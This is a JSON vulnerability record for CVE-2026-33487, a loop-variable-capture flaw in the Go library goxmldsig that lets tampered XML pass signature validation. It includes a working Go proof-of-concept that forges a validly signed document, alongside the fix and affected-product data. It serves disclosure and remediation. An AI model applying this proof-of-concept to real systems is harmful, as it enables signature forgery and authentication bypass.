{"id":"CVE-2026-33487","aliases":["CVE-2026-33487","GHSA-479m-364c-43vc","GO-2026-4753"],"related":["CGA-q6q9-f5cq-5pgw"],"kind":"vulnerability","state":"published","title":"goxmldsig has validateSignature Loop Variable Capture Signature Bypass","summary":"goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.","source":"cvelist"},{"lang":"en","text":"### Details\n\nThe `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop.\n\n------\n\n### Technical Details\n\nThe code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.\n\nAs a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria.\n\nUsing Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.\n\n```````go\n// goxmldsig/validate.go (Lines 309-313)\t\nfor _, _ref := range signedInfo.References {\n\t\tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t\t\tref = &_ref // <- Capture var address of loop\n\t\t}\n\t}\n\n```````\n\n-----\n\n### PoC\n\nThe PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.\n\n``````go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/beevik/etree\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttemplate := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tNotBefore:    time.Now().Add(-1 * time.Hour),\n\t\tNotAfter:     time.Now().Add(1 * time.Hour),\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcert, _ := x509.ParseCertificate(certDER)\n\n\tdoc := etree.NewDocument()\n\troot := doc.CreateElement(\"Root\")\n\troot.CreateAttr(\"ID\", \"target\")\n\troot.SetText(\"Malicious Content\")\n\n\ttlsCert := tls.Certificate{\n\t\tCertificate: [][]byte{cert.Raw},\n\t\tPrivateKey:  key,\n\t}\n\n\tks := dsig.TLSCertKeyStore(tlsCert)\n\tsigningCtx := dsig.NewDefaultSigningContext(ks)\n\n\tsig, err := signingCtx.ConstructSignature(root, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsignedInfo := sig.FindElement(\"./SignedInfo\")\n\n\texistingRef := signedInfo.FindElement(\"./Reference\")\n\texistingRef.CreateAttr(\"URI\", \"#dummy\")\n\n\toriginalEl := etree.NewElement(\"Root\")\n\toriginalEl.CreateAttr(\"ID\", \"target\")\n\toriginalEl.SetText(\"Original Content\")\n\n\tsig1, _ := signingCtx.ConstructSignature(originalEl, true)\n\tref1 := sig1.FindElement(\"./SignedInfo/Reference\").Copy()\n\n\tsignedInfo.InsertChildAt(existingRef.Index(), ref1)\n\n\tc14n := signingCtx.Canonicalizer\n\n\tdetachedSI := signedInfo.Copy()\n\tif detachedSI.SelectAttr(\"xmlns:\"+dsig.DefaultPrefix) == nil {\n\t\tdetachedSI.CreateAttr(\"xmlns:\"+dsig.DefaultPrefix, dsig.Namespace)\n\t}\n\n\tcanonicalBytes, err := c14n.Canonicalize(detachedSI)\n\tif err != nil {\n\t\tfmt.Println(\"c14n error:\", err)\n\t\treturn\n\t}\n\n\thash := signingCtx.Hash.New()\n\thash.Write(canonicalBytes)\n\tdigest := hash.Sum(nil)\n\n\trawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsigVal := sig.FindElement(\"./SignatureValue\")\n\tsigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))\n\n\tcertStore := &dsig.MemoryX509CertificateStore{\n\t\tRoots: []*x509.Certificate{cert},\n\t}\n\tvalCtx := dsig.NewDefaultValidationContext(certStore)\n\n\troot.AddChild(sig)\n\n\tdoc.SetRoot(root)\n\tstr, _ := doc.WriteToString()\n\tfmt.Println(\"XML:\")\n\tfmt.Println(str)\n\n\tvalidated, err := valCtx.Validate(root)\n\tif err != nil {\n\t\tfmt.Println(\"validation failed:\", err)\n\t} else {\n\t\tfmt.Println(\"validation ok\")\n\t\tfmt.Println(\"validated text:\", validated.Text())\n\t}\n}\n``````\n\n-----\n\n### Impact\n\nThis vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// goxmldsig/validate.go\t\nfunc (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {\n\tvar ref *types.Reference\n\n  // OLD\n\t// for _, _ref := range signedInfo.References {\n\t// \tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t// \t\tref = &_ref\n\t// \t}\n\t// }\n\t\n  // FIX\n\tfor i := range signedInfo.References {\n\t\tif signedInfo.References[i].URI == \"\" ||\n\t\t\tsignedInfo.References[i].URI[1:] == idAttr {\n\t\t\tref = &signedInfo.References[i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// ...\n}\n``````\n\n----\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/347.html\n\nhttps://cwe.mitre.org/data/definitions/682.html\n\nhttps://github.com/russellhaering/goxmldsig/blob/main/validate.go\n\n-----\n\n**Author**: Tomas Illuminati","format":"markdown","source":"ghsa"},{"lang":"en","text":"Loop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig","format":"markdown","source":"go"},{"lang":"es","text":"goxmlsig proporciona Firmas Digitales XML implementadas en Go. Antes de la versión 1.6.0, la función 'validateSignature' en 'validate.go' recorre las referencias en el bloque 'SignedInfo' para encontrar una que coincida con el ID del elemento firmado. En versiones de Go anteriores a la 1.22, o cuando 'go.mod' utiliza una versión anterior, existe un problema de captura de variable de bucle. El código toma la dirección de la variable de bucle '_ref' en lugar de su valor. Como resultado, si más de una referencia coincide con el ID o si la lógica del bucle es incorrecta, el puntero 'ref' siempre terminará apuntando al último elemento en el slice 'SignedInfo.References' después del bucle. goxmlsig versión 1.6.0 contiene un parche.","source":"nvd"}],"published":"2026-03-18T20:18:22.000Z","modified":"2026-09-10T03:50:37.081Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-347","CWE-682"],"affected":[{"ranges":[{"version":"< 1.6.0","status":"affected"}],"vendor":"russellhaering","product":"goxmldsig","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1779212259","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Multicluster Global Hub 1.3.4","package":"multicluster-globalhub/multicluster-globalhub-grafana-rhel9","cpe":"cpe:/a:redhat:multicluster_globalhub:1.3::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1779579439","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Multicluster Global Hub 1.4.5","package":"multicluster-globalhub/multicluster-globalhub-grafana-rhel9","cpe":"cpe:/a:redhat:multicluster_globalhub:1.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780167118","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Multicluster Global Hub 1.6.5","package":"multicluster-globalhub/multicluster-globalhub-grafana-rhel9","cpe":"cpe:/a:redhat:multicluster_globalhub:1.6::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782693386","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Management for Kubernetes 2.14","package":"rhacm2/acm-grafana-rhel9","cpe":"cpe:/a:redhat:acm:2.14::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1777142269","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Management for Kubernetes 2.15","package":"rhacm2/acm-grafana-rhel9","cpe":"cpe:/a:redhat:acm:2.15::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1778867753","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat multicluster global hub 1.5.3","package":"multicluster-globalhub/multicluster-globalhub-grafana-rhel9","cpe":"cpe:/a:redhat:multicluster_globalhub:1.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1779116359","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift GitOps 1.18","package":"openshift-gitops-1/dex-rhel8","cpe":"cpe:/a:redhat:openshift_gitops:1.18::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1779209965","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift GitOps 1.19","package":"openshift-gitops-1/dex-rhel8","cpe":"cpe:/a:redhat:openshift_gitops:1.19::el8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-main-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-rhel8-operator","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-roxctl-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-scanner-v4-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.6.0"}],"ecosystem":"Go","package":"github.com/russellhaering/goxmldsig","purl":"pkg:golang/github.com/russellhaering/goxmldsig","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.6.0"}],"ecosystem":"Go","package":"github.com/russellhaering/goxmldsig","purl":"pkg:golang/github.com/russellhaering/goxmldsig","source":"go"},{"ranges":[{"status":"affected","fixed":"1.6.0"}],"vendor":"goxmldsig_project","product":"goxmldsig","cpe":"cpe:2.3:a:goxmldsig_project:goxmldsig:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-479m-364c-43vc","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33487","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2451814","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33487.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22423","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22347","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:23345","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36882","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13548","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20946","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20943","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:21769","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33487","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/russellhaering/goxmldsig","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-30T11:16:13.379Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33487","url":"https://www.cve.org/CVERecord?id=CVE-2026-33487","licence":"CVE Terms of Use","modified":"2026-09-09T12:05:00.321Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-479m-364c-43vc","url":"https://github.com/advisories/GHSA-479m-364c-43vc","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:37.081Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4753","url":"https://pkg.go.dev/vuln/GO-2026-4753","licence":"CC-BY-4.0","modified":"2026-03-30T14:29:32.344Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33487","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33487","licence":"Public domain","modified":"2026-09-09T13:19:24.923Z"}],"updatedAt":"2026-11-25T22:59:17.084Z","epss":{"score":0.00429,"percentile":0.39016,"date":"2026-12-02T12:00:21.000Z"}}